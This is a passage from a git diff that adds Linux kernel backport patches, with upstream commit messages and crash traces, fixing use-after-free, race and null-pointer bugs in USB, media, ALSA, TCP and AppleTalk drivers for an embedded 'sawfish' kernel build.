video_device_release_empty; ++ radio->v4l2_dev.release = raremono_device_release; + + usb_set_intfdata(intf, &radio->v4l2_dev); + +@@ -372,6 +384,10 @@ + } + dev_err(&intf->dev, "could not register video device\n"); + v4l2_device_unregister(&radio->v4l2_dev); ++ ++free_mem: ++ kfree(radio->buffer); ++ kfree(radio); + return retval; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0557.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0557.diff new file mode 100644 index 0000000..a0569ba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0557.diff @@ -0,0 +1,63 @@ +diff --git a/drivers/usb/misc/rio500.c b/drivers/usb/misc/rio500.c +index 13731d5..57c4632 100644 +--- a/drivers/usb/misc/rio500.c ++++ b/drivers/usb/misc/rio500.c +@@ -464,15 +464,23 @@ + { + struct usb_device *dev = interface_to_usbdev(intf); + struct rio_usb_data *rio = &rio_instance; +- int retval; ++ int retval = 0; + +- dev_info(&intf->dev, "USB Rio found at address %d\n", dev->devnum); ++ mutex_lock(&rio500_mutex); ++ if (rio->present) { ++ dev_info(&intf->dev, "Second USB Rio at address %d refused\n", dev->devnum); ++ retval = -EBUSY; ++ goto bail_out; ++ } else { ++ dev_info(&intf->dev, "USB Rio found at address %d\n", dev->devnum); ++ } + + retval = usb_register_dev(intf, &usb_rio_class); + if (retval) { + dev_err(&dev->dev, + "Not able to get a minor for this device.\n"); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + + rio->rio_dev = dev; +@@ -481,7 +489,8 @@ + dev_err(&dev->dev, + "probe_rio: Not enough memory for the output buffer\n"); + usb_deregister_dev(intf, &usb_rio_class); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + dev_dbg(&intf->dev, "obuf address:%p\n", rio->obuf); + +@@ -490,7 +499,8 @@ + "probe_rio: Not enough memory for the input buffer\n"); + usb_deregister_dev(intf, &usb_rio_class); + kfree(rio->obuf); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + dev_dbg(&intf->dev, "ibuf address:%p\n", rio->ibuf); + +@@ -498,8 +508,10 @@ + + usb_set_intfdata (intf, rio); + rio->present = 1; ++bail_out: ++ mutex_unlock(&rio500_mutex); + +- return 0; ++ return retval; + } + + static void disconnect_rio(struct usb_interface *intf) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0558-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0558-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch new file mode 100644 index 0000000..26e8e53 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0558-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch @@ -0,0 +1,41 @@ +From 6cf97230cd5f36b7665099083272595c55d72be7 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Tue, 30 Apr 2019 09:07:36 -0400 +Subject: media: dvb: usb: fix use after free in dvb_usb_device_exit + +dvb_usb_device_exit() frees and uses the device name in that order. +Fix by storing the name in a buffer before freeing it. + +Signed-off-by: Oliver Neukum +Reported-by: syzbot+26ec41e9f788b3eba396@syzkaller.appspotmail.com +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/dvb-usb/dvb-usb-init.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb/dvb-usb-init.c b/drivers/media/usb/dvb-usb/dvb-usb-init.c +index 99951e02a8801..dd063a736df5d 100644 +--- a/drivers/media/usb/dvb-usb/dvb-usb-init.c ++++ b/drivers/media/usb/dvb-usb/dvb-usb-init.c +@@ -287,12 +287,15 @@ EXPORT_SYMBOL(dvb_usb_device_init); + void dvb_usb_device_exit(struct usb_interface *intf) + { + struct dvb_usb_device *d = usb_get_intfdata(intf); +- const char *name = "generic DVB-USB module"; ++ const char *default_name = "generic DVB-USB module"; ++ char name[40]; + + usb_set_intfdata(intf, NULL); + if (d != NULL && d->desc != NULL) { +- name = d->desc->name; ++ strscpy(name, d->desc->name, sizeof(name)); + dvb_usb_exit(d); ++ } else { ++ strscpy(name, default_name, sizeof(name)); + } + info("%s successfully deinitialized and disconnected.", name); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0559-2a3f7221acdd-ALSA core Fix card races between register and disconnect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0559-2a3f7221acdd-ALSA core Fix card races between register and disconnect.patch new file mode 100644 index 0000000..8262241 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0559-2a3f7221acdd-ALSA core Fix card races between register and disconnect.patch @@ -0,0 +1,75 @@ +From 2a3f7221acddfe1caa9ff09b3a8158c39b2fdeac Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 16 Apr 2019 17:06:33 +0200 +Subject: ALSA: core: Fix card races between register and disconnect + +There is a small race window in the card disconnection code that +allows the registration of another card with the very same card id. +This leads to a warning in procfs creation as caught by syzkaller. + +The problem is that we delete snd_cards and snd_cards_lock entries at +the very beginning of the disconnection procedure. This makes the +slot available to be assigned for another card object while the +disconnection procedure is being processed. Then it becomes possible +to issue a procfs registration with the existing file name although we +check the conflict beforehand. + +The fix is simply to move the snd_cards and snd_cards_lock clearances +at the end of the disconnection procedure. The references to these +entries are merely either from the global proc files like +/proc/asound/cards or from the card registration / disconnection, so +it should be fine to shift at the very end. + +Reported-by: syzbot+48df349490c36f9f54ab@syzkaller.appspotmail.com +Cc: +Signed-off-by: Takashi Iwai +--- + sound/core/init.c | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +diff --git a/sound/core/init.c b/sound/core/init.c +index 0c4dc40376a70..079c12d64b0e3 100644 +--- a/sound/core/init.c ++++ b/sound/core/init.c +@@ -382,14 +382,7 @@ int snd_card_disconnect(struct snd_card *card) + card->shutdown = 1; + spin_unlock(&card->files_lock); + +- /* phase 1: disable fops (user space) operations for ALSA API */ +- mutex_lock(&snd_card_mutex); +- snd_cards[card->number] = NULL; +- clear_bit(card->number, snd_cards_lock); +- mutex_unlock(&snd_card_mutex); +- +- /* phase 2: replace file->f_op with special dummy operations */ +- ++ /* replace file->f_op with special dummy operations */ + spin_lock(&card->files_lock); + list_for_each_entry(mfile, &card->files_list, list) { + /* it's critical part, use endless loop */ +@@ -405,7 +398,7 @@ int snd_card_disconnect(struct snd_card *card) + } + spin_unlock(&card->files_lock); + +- /* phase 3: notify all connected devices about disconnection */ ++ /* notify all connected devices about disconnection */ + /* at this point, they cannot respond to any calls except release() */ + + #if IS_ENABLED(CONFIG_SND_MIXER_OSS) +@@ -421,6 +414,13 @@ int snd_card_disconnect(struct snd_card *card) + device_del(&card->card_dev); + card->registered = false; + } ++ ++ /* disable fops (user space) operations for ALSA API */ ++ mutex_lock(&snd_card_mutex); ++ snd_cards[card->number] = NULL; ++ clear_bit(card->number, snd_cards_lock); ++ mutex_unlock(&snd_card_mutex); ++ + #ifdef CONFIG_PM + wake_up(&card->power_sleep); + #endif +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0560.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0560.diff new file mode 100644 index 0000000..4ad6090 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0560.diff @@ -0,0 +1,21 @@ +diff --git a/drivers/media/usb/cpia2/cpia2_usb.c b/drivers/media/usb/cpia2/cpia2_usb.c +index 351a78a..41ea00a 100644 +--- a/drivers/media/usb/cpia2/cpia2_usb.c ++++ b/drivers/media/usb/cpia2/cpia2_usb.c +@@ -884,7 +884,6 @@ + cpia2_unregister_camera(cam); + v4l2_device_disconnect(&cam->v4l2_dev); + mutex_unlock(&cam->v4l2_lock); +- v4l2_device_put(&cam->v4l2_dev); + + if(cam->buffers) { + DBG("Wakeup waiting processes\n"); +@@ -897,6 +896,8 @@ + DBG("Releasing interface\n"); + usb_driver_release_interface(&cpia2_driver, intf); + ++ v4l2_device_put(&cam->v4l2_dev); ++ + LOG("CPiA2 camera disconnected.\n"); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0561-15c0d2672a47-USB yurex Fix protection fault after device removal.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0561-15c0d2672a47-USB yurex Fix protection fault after device removal.patch new file mode 100644 index 0000000..276c3d2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0561-15c0d2672a47-USB yurex Fix protection fault after device removal.patch @@ -0,0 +1,42 @@ +From 15c0d2672a4711fa277ca040e92af36009de4bf6 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Tue, 23 Apr 2019 14:48:29 -0400 +Subject: USB: yurex: Fix protection fault after device removal + +commit ef61eb43ada6c1d6b94668f0f514e4c268093ff3 upstream. + +The syzkaller USB fuzzer found a general-protection-fault bug in the +yurex driver. The fault occurs when a device has been unplugged; the +driver's interrupt-URB handler logs an error message referring to the +device by name, after the device has been unregistered and its name +deallocated. + +This problem is caused by the fact that the interrupt URB isn't +cancelled until the driver's private data structure is released, which +can happen long after the device is gone. The cure is to make sure +that the interrupt URB is killed before yurex_disconnect() returns; +this is exactly the sort of thing that usb_poison_urb() was meant for. + +Signed-off-by: Alan Stern +Reported-and-tested-by: syzbot+2eb9121678bdb36e6d57@syzkaller.appspotmail.com +CC: +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/yurex.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c +index fbcb1cd4c1188..b92046a386449 100644 +--- a/drivers/usb/misc/yurex.c ++++ b/drivers/usb/misc/yurex.c +@@ -332,6 +332,7 @@ static void yurex_disconnect(struct usb_interface *interface) + usb_deregister_dev(interface, &yurex_class); + + /* prevent more I/O from starting */ ++ usb_poison_urb(dev->urb); + mutex_lock(&dev->io_mutex); + dev->interface = NULL; + mutex_unlock(&dev->io_mutex); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0562.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0562.diff new file mode 100644 index 0000000..86ad6c1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0562.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/media/usb/zr364xx/zr364xx.c b/drivers/media/usb/zr364xx/zr364xx.c +index c70f7d9..d7960cf 100644 +--- a/drivers/media/usb/zr364xx/zr364xx.c ++++ b/drivers/media/usb/zr364xx/zr364xx.c +@@ -712,7 +712,8 @@ + struct zr364xx_camera *cam = video_drvdata(file); + + strlcpy(cap->driver, DRIVER_DESC, sizeof(cap->driver)); +- strlcpy(cap->card, cam->udev->product, sizeof(cap->card)); ++ if (cam->udev->product) ++ strlcpy(cap->card, cam->udev->product, sizeof(cap->card)); + strlcpy(cap->bus_info, dev_name(&cam->udev->dev), + sizeof(cap->bus_info)); + cap->device_caps = V4L2_CAP_VIDEO_CAPTURE | diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0563.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0563.diff new file mode 100644 index 0000000..ff940ad --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0563.diff @@ -0,0 +1,63 @@ +diff --git a/drivers/media/usb/siano/smsusb.c b/drivers/media/usb/siano/smsusb.c +index 94e10b1..4be50d4 100644 +--- a/drivers/media/usb/siano/smsusb.c ++++ b/drivers/media/usb/siano/smsusb.c +@@ -351,6 +351,7 @@ + struct smsdevice_params_t params; + struct smsusb_device_t *dev; + int i, rc; ++ int in_maxp; + + /* create device object */ + dev = kzalloc(sizeof(struct smsusb_device_t), GFP_KERNEL); +@@ -364,6 +365,24 @@ + dev->udev = interface_to_usbdev(intf); + dev->state = SMSUSB_DISCONNECTED; + ++ for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) { ++ struct usb_endpoint_descriptor *desc = ++ &intf->cur_altsetting->endpoint[i].desc; ++ ++ if (desc->bEndpointAddress & USB_DIR_IN) { ++ dev->in_ep = desc->bEndpointAddress; ++ in_maxp = usb_endpoint_maxp(desc); ++ } else { ++ dev->out_ep = desc->bEndpointAddress; ++ } ++ } ++ ++ sms_info("in_ep = %02x, out_ep = %02x", dev->in_ep, dev->out_ep); ++ if (!dev->in_ep || !dev->out_ep) { /* Missing endpoints? */ ++ smsusb_term_device(intf); ++ return -ENODEV; ++ } ++ + params.device_type = sms_get_board(board_id)->type; + + switch (params.device_type) { +@@ -378,24 +397,12 @@ + /* fall-thru */ + default: + dev->buffer_size = USB2_BUFFER_SIZE; +- dev->response_alignment = +- le16_to_cpu(dev->udev->ep_in[1]->desc.wMaxPacketSize) - +- sizeof(struct sms_msg_hdr); ++ dev->response_alignment = in_maxp - sizeof(struct sms_msg_hdr); + + params.flags |= SMS_DEVICE_FAMILY2; + break; + } + +- for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) { +- if (intf->cur_altsetting->endpoint[i].desc. bEndpointAddress & USB_DIR_IN) +- dev->in_ep = intf->cur_altsetting->endpoint[i].desc.bEndpointAddress; +- else +- dev->out_ep = intf->cur_altsetting->endpoint[i].desc.bEndpointAddress; +- } +- +- sms_info("in_ep = %02x, out_ep = %02x", +- dev->in_ep, dev->out_ep); +- + params.device = &dev->udev->dev; + params.buffer_size = dev->buffer_size; + params.num_buffers = MAX_BUFFERS; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0564.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0564.diff new file mode 100644 index 0000000..40b7a76 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0564.diff @@ -0,0 +1,33 @@ +diff --git a/drivers/usb/misc/sisusbvga/sisusb.c b/drivers/usb/misc/sisusbvga/sisusb.c +index 633caf6..e5919c3 100644 +--- a/drivers/usb/misc/sisusbvga/sisusb.c ++++ b/drivers/usb/misc/sisusbvga/sisusb.c +@@ -3093,6 +3093,13 @@ + + mutex_init(&(sisusb->lock)); + ++ sisusb->sisusb_dev = dev; ++ sisusb->vrambase = SISUSB_PCI_MEMBASE; ++ sisusb->mmiobase = SISUSB_PCI_MMIOBASE; ++ sisusb->mmiosize = SISUSB_PCI_MMIOSIZE; ++ sisusb->ioportbase = SISUSB_PCI_IOPORTBASE; ++ /* Everything else is zero */ ++ + /* Register device */ + if ((retval = usb_register_dev(intf, &usb_sisusb_class))) { + dev_err(&sisusb->sisusb_dev->dev, "Failed to get a minor for device %d\n", +@@ -3101,13 +3108,7 @@ + goto error_1; + } + +- sisusb->sisusb_dev = dev; +- sisusb->minor = intf->minor; +- sisusb->vrambase = SISUSB_PCI_MEMBASE; +- sisusb->mmiobase = SISUSB_PCI_MMIOBASE; +- sisusb->mmiosize = SISUSB_PCI_MMIOSIZE; +- sisusb->ioportbase = SISUSB_PCI_IOPORTBASE; +- /* Everything else is zero */ ++ sisusb->minor = intf->minor; + + /* Allocate buffers */ + sisusb->ibufsize = SISUSB_IBUF_SIZE; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0565.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0565.diff new file mode 100644 index 0000000..5b373a6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0565.diff @@ -0,0 +1,109 @@ +diff --git a/drivers/net/wireless/p54/p54usb.c b/drivers/net/wireless/p54/p54usb.c +index 043bd1c..4a197a3 100644 +--- a/drivers/net/wireless/p54/p54usb.c ++++ b/drivers/net/wireless/p54/p54usb.c +@@ -33,6 +33,8 @@ + MODULE_FIRMWARE("isl3886usb"); + MODULE_FIRMWARE("isl3887usb"); + ++static struct usb_driver p54u_driver; ++ + /* + * Note: + * +@@ -921,9 +923,9 @@ + { + struct p54u_priv *priv = context; + struct usb_device *udev = priv->udev; ++ struct usb_interface *intf = priv->intf; + int err; + +- complete(&priv->fw_wait_load); + if (firmware) { + priv->fw = firmware; + err = p54u_start_ops(priv); +@@ -932,26 +934,22 @@ + dev_err(&udev->dev, "Firmware not found.\n"); + } + ++ complete(&priv->fw_wait_load); ++ /* ++ * At this point p54u_disconnect may have already freed ++ * the "priv" context. Do not use it anymore! ++ */ ++ priv = NULL; ++ + if (err) { +- struct device *parent = priv->udev->dev.parent; ++ dev_err(&intf->dev, "failed to initialize device (%d)\n", err); + +- dev_err(&udev->dev, "failed to initialize device (%d)\n", err); +- +- if (parent) +- device_lock(parent); +- +- device_release_driver(&udev->dev); +- /* +- * At this point p54u_disconnect has already freed +- * the "priv" context. Do not use it anymore! +- */ +- priv = NULL; +- +- if (parent) +- device_unlock(parent); ++ usb_lock_device(udev); ++ usb_driver_release_interface(&p54u_driver, intf); ++ usb_unlock_device(udev); + } + +- usb_put_dev(udev); ++ usb_put_intf(intf); + } + + static int p54u_load_firmware(struct ieee80211_hw *dev, +@@ -972,14 +970,14 @@ + dev_info(&priv->udev->dev, "Loading firmware file %s\n", + p54u_fwlist[i].fw); + +- usb_get_dev(udev); ++ usb_get_intf(intf); + err = request_firmware_nowait(THIS_MODULE, 1, p54u_fwlist[i].fw, + device, GFP_KERNEL, priv, + p54u_load_firmware_cb); + if (err) { + dev_err(&priv->udev->dev, "(p54usb) cannot load firmware %s " + "(%d)!\n", p54u_fwlist[i].fw, err); +- usb_put_dev(udev); ++ usb_put_intf(intf); + } + + return err; +@@ -1011,8 +1009,6 @@ + skb_queue_head_init(&priv->rx_queue); + init_usb_anchor(&priv->submitted); + +- usb_get_dev(udev); +- + /* really lazy and simple way of figuring out if we're a 3887 */ + /* TODO: should just stick the identification in the device table */ + i = intf->altsetting->desc.bNumEndpoints; +@@ -1053,10 +1049,8 @@ + priv->upload_fw = p54u_upload_firmware_net2280; + } + err = p54u_load_firmware(dev, intf); +- if (err) { +- usb_put_dev(udev); ++ if (err) + p54_free_common(dev); +- } + return err; + } + +@@ -1072,7 +1066,6 @@ + wait_for_completion(&priv->fw_wait_load); + p54_unregister_common(dev); + +- usb_put_dev(interface_to_usbdev(intf)); + release_firmware(priv->fw); + p54_free_common(dev); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0566-7f582b248d0a-tcp purge write queue in tcpconnectinit.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0566-7f582b248d0a-tcp purge write queue in tcpconnectinit.patch new file mode 100644 index 0000000..9e90b15 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0566-7f582b248d0a-tcp purge write queue in tcpconnectinit.patch @@ -0,0 +1,88 @@ +From 7f582b248d0a86bae5788c548d7bb5bca6f7691a Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Mon, 14 May 2018 21:14:26 -0700 +Subject: tcp: purge write queue in tcp_connect_init() + +syzkaller found a reliable way to crash the host, hitting a BUG() +in __tcp_retransmit_skb() + +Malicous MSG_FASTOPEN is the root cause. We need to purge write queue +in tcp_connect_init() at the point we init snd_una/write_seq. + +This patch also replaces the BUG() by a less intrusive WARN_ON_ONCE() + +kernel BUG at net/ipv4/tcp_output.c:2837! +invalid opcode: 0000 [#1] SMP KASAN +Dumping ftrace buffer: + (ftrace buffer empty) +Modules linked in: +CPU: 0 PID: 5276 Comm: syz-executor0 Not tainted 4.17.0-rc3+ #51 +Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 +RIP: 0010:__tcp_retransmit_skb+0x2992/0x2eb0 net/ipv4/tcp_output.c:2837 +RSP: 0000:ffff8801dae06ff8 EFLAGS: 00010206 +RAX: ffff8801b9fe61c0 RBX: 00000000ffc18a16 RCX: ffffffff864e1a49 +RDX: 0000000000000100 RSI: ffffffff864e2e12 RDI: 0000000000000005 +RBP: ffff8801dae073a0 R08: ffff8801b9fe61c0 R09: ffffed0039c40dd2 +R10: ffffed0039c40dd2 R11: ffff8801ce206e93 R12: 00000000421eeaad +R13: ffff8801ce206d4e R14: ffff8801ce206cc0 R15: ffff8801cd4f4a80 +FS: 0000000000000000(0000) GS:ffff8801dae00000(0063) knlGS:00000000096bc900 +CS: 0010 DS: 002b ES: 002b CR0: 0000000080050033 +CR2: 0000000020000000 CR3: 00000001c47b6000 CR4: 00000000001406f0 +DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +Call Trace: + + tcp_retransmit_skb+0x2e/0x250 net/ipv4/tcp_output.c:2923 + tcp_retransmit_timer+0xc50/0x3060 net/ipv4/tcp_timer.c:488 + tcp_write_timer_handler+0x339/0x960 net/ipv4/tcp_timer.c:573 + tcp_write_timer+0x111/0x1d0 net/ipv4/tcp_timer.c:593 + call_timer_fn+0x230/0x940 kernel/time/timer.c:1326 + expire_timers kernel/time/timer.c:1363 [inline] + __run_timers+0x79e/0xc50 kernel/time/timer.c:1666 + run_timer_softirq+0x4c/0x70 kernel/time/timer.c:1692 + __do_softirq+0x2e0/0xaf5 kernel/softirq.c:285 + invoke_softirq kernel/softirq.c:365 [inline] + irq_exit+0x1d1/0x200 kernel/softirq.c:405 + exiting_irq arch/x86/include/asm/apic.h:525 [inline] + smp_apic_timer_interrupt+0x17e/0x710 arch/x86/kernel/apic/apic.c:1052 + apic_timer_interrupt+0xf/0x20 arch/x86/entry/entry_64.S:863 + +Fixes: cf60af03ca4e ("net-tcp: Fast Open client - sendmsg(MSG_FASTOPEN)") +Signed-off-by: Eric Dumazet +Cc: Yuchung Cheng +Cc: Neal Cardwell +Reported-by: syzbot +Acked-by: Neal Cardwell +Signed-off-by: David S. Miller +--- + net/ipv4/tcp_output.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 383cac0ff0ec0..d07e34f8e3091 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -2833,8 +2833,10 @@ int __tcp_retransmit_skb(struct sock *sk, struct sk_buff *skb, int segs) + return -EBUSY; + + if (before(TCP_SKB_CB(skb)->seq, tp->snd_una)) { +- if (before(TCP_SKB_CB(skb)->end_seq, tp->snd_una)) +- BUG(); ++ if (unlikely(before(TCP_SKB_CB(skb)->end_seq, tp->snd_una))) { ++ WARN_ON_ONCE(1); ++ return -EINVAL; ++ } + if (tcp_trim_head(sk, skb, tp->snd_una - TCP_SKB_CB(skb)->seq)) + return -ENOMEM; + } +@@ -3342,6 +3344,7 @@ static void tcp_connect_init(struct sock *sk) + sock_reset_flag(sk, SOCK_DONE); + tp->snd_wnd = 0; + tcp_init_wl(tp, 0); ++ tcp_write_queue_purge(sk); + tp->snd_una = tp->write_seq; + tp->snd_sml = tp->write_seq; + tp->snd_up = tp->write_seq; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0567.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0567.diff new file mode 100644 index 0000000..30cf2b4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0567.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/media/usb/b2c2/flexcop-usb.c b/drivers/media/usb/b2c2/flexcop-usb.c +index 0bd9690..83d3a5c 100644 +--- a/drivers/media/usb/b2c2/flexcop-usb.c ++++ b/drivers/media/usb/b2c2/flexcop-usb.c +@@ -508,6 +508,9 @@ + struct flexcop_device *fc = NULL; + int ret; + ++ if (intf->cur_altsetting->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + if ((fc = flexcop_device_kmalloc(sizeof(struct flexcop_usb))) == NULL) { + err("out of memory\n"); + return -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0568-ab885986b630-appletalk Fix useafterfree in atalkprocexit.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0568-ab885986b630-appletalk Fix useafterfree in atalkprocexit.patch new file mode 100644 index 0000000..8f1fed0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0568-ab885986b630-appletalk Fix useafterfree in atalkprocexit.patch @@ -0,0 +1,216 @@ +From ab885986b6308c902364b4a91d73fae3003da9fe Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Fri, 1 Mar 2019 10:57:57 +0800 +Subject: appletalk: Fix use-after-free in atalk_proc_exit + +[ Upstream commit 6377f787aeb945cae7abbb6474798de129e1f3ac ] + +KASAN report this: + +BUG: KASAN: use-after-free in pde_subdir_find+0x12d/0x150 fs/proc/generic.c:71 +Read of size 8 at addr ffff8881f41fe5b0 by task syz-executor.0/2806 + +CPU: 0 PID: 2806 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xfa/0x1ce lib/dump_stack.c:113 + print_address_description+0x65/0x270 mm/kasan/report.c:187 + kasan_report+0x149/0x18d mm/kasan/report.c:317 + pde_subdir_find+0x12d/0x150 fs/proc/generic.c:71 + remove_proc_entry+0xe8/0x420 fs/proc/generic.c:667 + atalk_proc_exit+0x18/0x820 [appletalk] + atalk_exit+0xf/0x5a [appletalk] + __do_sys_delete_module kernel/module.c:1018 [inline] + __se_sys_delete_module kernel/module.c:961 [inline] + __x64_sys_delete_module+0x3dc/0x5e0 kernel/module.c:961 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007fb2de6b9c58 EFLAGS: 00000246 ORIG_RAX: 00000000000000b0 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00000000200001c0 +RBP: 0000000000000002 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007fb2de6ba6bc +R13: 00000000004bccaa R14: 00000000006f6bc8 R15: 00000000ffffffff + +Allocated by task 2806: + set_track mm/kasan/common.c:85 [inline] + __kasan_kmalloc.constprop.3+0xa0/0xd0 mm/kasan/common.c:496 + slab_post_alloc_hook mm/slab.h:444 [inline] + slab_alloc_node mm/slub.c:2739 [inline] + slab_alloc mm/slub.c:2747 [inline] + kmem_cache_alloc+0xcf/0x250 mm/slub.c:2752 + kmem_cache_zalloc include/linux/slab.h:730 [inline] + __proc_create+0x30f/0xa20 fs/proc/generic.c:408 + proc_mkdir_data+0x47/0x190 fs/proc/generic.c:469 + 0xffffffffc10c01bb + 0xffffffffc10c0166 + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Freed by task 2806: + set_track mm/kasan/common.c:85 [inline] + __kasan_slab_free+0x130/0x180 mm/kasan/common.c:458 + slab_free_hook mm/slub.c:1409 [inline] + slab_free_freelist_hook mm/slub.c:1436 [inline] + slab_free mm/slub.c:2986 [inline] + kmem_cache_free+0xa6/0x2a0 mm/slub.c:3002 + pde_put+0x6e/0x80 fs/proc/generic.c:647 + remove_proc_entry+0x1d3/0x420 fs/proc/generic.c:684 + 0xffffffffc10c031c + 0xffffffffc10c0166 + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +The buggy address belongs to the object at ffff8881f41fe500 + which belongs to the cache proc_dir_entry of size 256 +The buggy address is located 176 bytes inside of + 256-byte region [ffff8881f41fe500, ffff8881f41fe600) +The buggy address belongs to the page: +page:ffffea0007d07f80 count:1 mapcount:0 mapping:ffff8881f6e69a00 index:0x0 +flags: 0x2fffc0000000200(slab) +raw: 02fffc0000000200 dead000000000100 dead000000000200 ffff8881f6e69a00 +raw: 0000000000000000 00000000800c000c 00000001ffffffff 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8881f41fe480: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc + ffff8881f41fe500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +>ffff8881f41fe580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ^ + ffff8881f41fe600: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb + ffff8881f41fe680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + +It should check the return value of atalk_proc_init fails, +otherwise atalk_exit will trgger use-after-free in pde_subdir_find +while unload the module.This patch fix error cleanup path of atalk_init + +Reported-by: Hulk Robot +Signed-off-by: YueHaibing +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + include/linux/atalk.h | 2 +- + net/appletalk/atalk_proc.c | 2 +- + net/appletalk/ddp.c | 37 +++++++++++++++++++++++++++++++------ + 